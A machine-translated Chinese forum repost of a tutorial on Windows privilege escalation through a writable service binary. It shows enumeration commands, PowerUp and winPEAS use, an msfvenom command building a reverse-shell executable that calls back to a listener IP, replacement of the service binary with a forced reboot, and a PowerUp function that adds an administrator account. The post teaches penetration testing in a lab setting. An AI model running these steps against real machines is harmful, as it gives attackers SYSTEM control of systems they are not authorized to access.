Windows 提权-弱服务_1

麻花痒  论坛元老 | 2025-3-14 15:07:47 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 1014|帖子 1014|积分 3042

本文通过 Google 翻译 Weak Service File Permissions – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释增补。
导航

0、媒介

在这篇文章中,我们将探讨一个涉及弱权限的服务毛病。不过,不是服务自己存在弱权限,而是服务启动步调所在的目录存在弱权限,该目录允许平常用户也能往其中写入文件。在这里,我们将学习怎样滥用服务的弱权限文件,将权限从平常用户提升到 SYSTEM。
起首,我们需要找到这种可以滥用的毛病服务,而这类服务通常具有以下特征:

  • 服务启动步调所在的目录当前平常用户也能够读写。【标准服务(即系统服务)对应的标准目录(C:\Windows\)通常不满意这个要求,所以标准服务可以先跳过。】
  • 服务的启动类型是“自动”,即开机自启。
等所有的服务罗列完成之后,我们还需要制作一个恶意步调,以替换服务现有的启动步调,然后通过重启服务提升至 SYSTEM。
在此示例中,假设我们已经作为标准用户 bob 在目的机上得到了驻足点。

同时,我们看到用户 bob 拥有 SeShutdownPrivilege 权限,而这一点在稍后利用服务获取 SYSTEM shell 时非常紧张,由于需要以重启主机的方式重启服务。
尽管特权 SeShutdownPrivilege 表现 "Disabled",但我们仍然可以使用该权限,由于这些特权的禁用和启用只会影响某些 步调或服务,当这些进程在尝试关机时,必须“哀求”此特权。而对于在 GUI(桌面菜单关机)或 CLI(关机命令 shutdown /s) 下的用户来说并不适用。
1、搜寻非标准服务

为了尽快找到可以滥用的服务,我们通常优先从那些非标准服务查起,即从系统中的非标准目录启动服务步调的服务查起。由于,微软对系统标准目录的权限进行了加固,而从非标准目录执行的服务才最有可能发现弱权限文件。
注:标准服务是指系统服务,这类服务的启动步调通常都在 C:\WINDOWS\ 目录中,所以该目录属于标准目录。同时,C:\Program Files 和 C:\Program Files (x86) 目录应该也属于标准目录,由于它们是微软指定用户安装步调的默认位置,这个位置平常用户通常也只有读的权限没有写的权限。除了这三个目录以外的别的目录假如有服务步调,那么很可能就有戏。
我们可以使用下面的 wmic 命令来查找从非标准位置执行的任何服务:
  1. wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\"
复制代码

在上面的命令中,我们使用 wmic 查询我们感兴趣的服务字段。同时配合 findstr 命令过滤了标准目录 C:\Windows 。
而在上面输出的结果中,有一个名为 Juggernaut 的服务很符合毛病服务的特征,它的服务启动步调是 C:\Program Files\Juggernaut\Juggernaut.exe,同时该服务照旧一个自启动服务。
另外,与上面 cmd 命令等效的 PowerShell 命令是:
  1. Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where { $_.PathName -notlike "C:\Windows*" } | select Name,DisplayName,StartMode,PathName
复制代码

既然找到了感兴趣的服务,那么接下来,就要细致检查与该服务相关的目录和文件的权限,以确定该服务是否可以被滥用。
2、搜寻服务的弱权限文件

2.1、罗列服务的弱权限文件 – icacls

为此,我们可以使用 icacls 命令,该命令是一个用于检查目录和文件 ACL 权限的内置命令。而为了能明白 icacls 命令输出的信息,我们需要相识以下关于权限和用户组相关的知识:
知识1】:我们要查找的目录权限只要是以下三种权限中的恣意一种均可:

  • (F) Full Control【完全控制】
  • (M) Modify【修改】
  • (W) Write【写入】
知识2】:我们会经常见到的用户/组如下:

  • 当前登录用户,如 bob。
  • Authenticated Users【注:通过 控制台、RDP、WinRM、SMB 登录系统的用户都属于已认证用户。】
  • Everyone
  • BUILTIN\Users
  • NT AUTHORITY\INTERACTIVE
好了,在学习了上面的知识之后,接下来让我们看看 C:\Program Files\Juggernaut 目录的权限,我们可以使用以下命令:
  1. icacls "C:\Program Files\Juggernaut"
复制代码

这表明 BUILTIN\Users 组的用户拥有该目录的完全控制权。同时,这也意味着我们对服务启动步调可能也拥有完全控制权,由于在默认情况下文件会继续自己所在目录的权限,让我们继续确认下:
  1. icacls "C:\Program Files\Juggernaut\Juggernaut.exe"
复制代码

Perfect!这意味着我们可以用恶意步调替换服务启动步调,从而完全控制这项服务。
2.2、罗列服务的弱权限文件 – Accesschk

一旦找到了感兴趣的服务,我们也可以使用 Sysinternals 工具套件中名为 Accesschk 的工具来罗列目录和文件的权限,它与 icacls 命令非常相似。
在向受害者机器传输任何工具之前,我们需要先罗列其架构,然后再为其传输匹配的工具。命令如下:
  1. systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
复制代码

可以看到,这台机器运行的是 Windows 10 Pro - Build 18362 - Version 1903,并且是 x64 架构。
然后,我们就可以使用 certutil 工具去传输64位的 accesschk64.exe 步调了。

先使用以下命令查看目录的权限:
  1. .\accesschk64.exe -wvud "C:\Program Files\Juggernaut" -accepteula
复制代码

在这里,我们可以看到 BUILTIN\Users 组拥有 FILE_ALL_ACCESS,即“完全控制”权限,这与 icacls 输出的结果非常相似。
然后我们去掉“-d”选项,去检查服务启动步调的权限,例如:
  1. .\accesschk64.exe -wvu "C:\Program Files\Juggernaut\Juggernaut.exe" -accepteula
复制代码

可以看到, BUILTIN\Users 组同样拥有 FILE_ALL_ACCESS 权限。
现在,既然我们已经相识了怎样使用手动技能来罗列权限薄弱的目录,那么接下来就看看怎样使用自动工具一次性罗列所有非标准服务权限薄弱的服务文件
3、工具自动化搜寻弱服务

从上面,我们已经相识了怎样通过 wmic 查找非标准服务,以及怎样使用 icacls 和 accesschk 罗列非标准服务启动步调所在目录的权限。接下来,我们将学习怎样借助工具来同时完成这两个步调。
有很多后利用工具和脚本可使用,但在本例中,我们将坚持使用 PowerUp.ps1winPEASx64.exe
在下载每个工具的副本之后,我们将其转移到受害者机器。

3.1、PowerUp

在这个示例中,我们先使用 PowerUp,然后再使用 winPEAS。
一样平常在手动罗列之后,我们希望优先使用 PowerUp,由于它输出的内容精炼且有用可能会为我们更快取得胜利。当使用 PowerUp 检查完毕且没有找到可利用信息之后,我们再使用 winPEAS 对系统进行全面罗列。
可以使用命令 powershell -ep bypass 进入 PowerShell,然后再使用点源的方式(. .\scrip.ps1)将 PowerUp.ps1 加载到当前会话中。
然后,就可以使用 PowerUp 的 Invoke-AllChecks 功能一次检查所有错误设置和毛病,就像这样:
  1. . .\PowerUp.ps1
  2. Invoke-AllChecks
复制代码

PowerUp 查找了服务的弱权限文件,并发现了较弱的 Juggernaut 服务。
此外,PowerUp.ps1 还内置了别的函数,可用于滥用 PowerUp 发现的大多数错误设置或特别权限。【注:滥用操作在本文的第 5 节讲述】
3.2、winPEAS

接下来开始 winPEAS 工具的使用,winPEAS 会输出大量的信息让人很容易犯含糊,因此避免含糊的关键在于要清楚我们要找的信息所在的标识位置。对于弱服务权限,我们要检查“Services Information”部分。这里会为我们提供有关服务名称、服务启动步调路径和启动类型等信息。

这告诉了我们利用这项服务所需的统统信息。它表现我们拥有可执行文件的写入权限,而且该步调照旧一个自动启动步调。
由于这是一个弱服务毛病,winPEAS 实际上也在“Application Information”部分提示了该毛病。

4、利用服务的弱权限文件

现在,我们已经看到了寻找非标准服务和罗列服务文件权限的多种方法,接下来要做的就是利用服务获取 SYSTEM shell。
而要利用这一点,我们需要制作一个与服务启动步调名称相同的恶意步调 Juggernaut.exe。同时我们知道该系统架构是 64 位,因此可以使用以下命令轻松制作出恶意步调:
  1. msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=172.16.1.30 -a x64 --platform Windows -f exe -o Juggernaut.exe
复制代码

假如发现该服务是在 Program Files (x86) 目录中运行的,则需要思量制作一个 32 位的可执行文件,由于 64 位的可执行文件对该服务可能不起作用。
有了恶意步调之后,将其转移到受害者机器。

在在受害者机器上将文件移动到 C:\Program Files\Juggernaut 目录之前,我们需要备份原来的服务启动步调。
  1. move "C:\Program Files\Juggernaut\Juggernaut.exe" "C:\Program Files\Juggernaut\Juggernaut.exe.BAK"
复制代码

备份完成之后,就可以启动 netcat 监听,迁徙恶意步调,然后重启系统。
  1. move C:\temp\Juggernaut.exe "C:\Program Files\Juggernaut"
  2. shutdown /r /t 0 /f
复制代码

系统重启大约 20 秒后,就看到监听器得到了一个 SYSTEM shell!

5、滥用 PowerUp.ps1 功能

之前在 3.1 末节的时候,当我们使用 PowerUp.ps1 罗列服务弱文件权限时,它表现有 AbuseFunction (滥用)字段。现在,我们可以用它来利用这个毛病。

使用此 AbuseFunction 命令将创建一个恶意命令,该命令会创建一个新用户,并将该用户添加到管理员组中。
  1. Install-ServiceBinary -ServiceName 'Juggernaut'
复制代码

可以看到,PowerUp 创建的 Juggernaut.exe 二进制文件将创建一个名为 John 的用户,暗码为 Password123!
现在,当我们检查 C:\Program Files\Juggernaut 目录时,就会看到 PowerUp 创建的新步调将出现在其中,而原来的步调被备份为 Juggernaut.exe.bak。

同样地,需要重启系统才能触发新增管理员用户的步调被执行。
系统重新启动后,我们回到之前的反向 shell 中,在这里可以看到用户是被创建并添加到本地管理员组的!

此时,假如很荣幸发现目的系统的 RDP 服务是打开的,那我们就可以使用 xfreerdp 进行 RDP 登录,然后以“以管理员身份运行”打开 cmd,进入到具有完全权限的高完整性 shell 中。
  1. sudo xfreerdp /u:john /p:'Password123!' /v:172.16.1.250 +clipboard
复制代码

但是,假如目的没有打开 RDP 服务。此时,我们就需要通过 RunasUAC-bypass 技能来获取管理员高完整性 shell。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

麻花痒

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表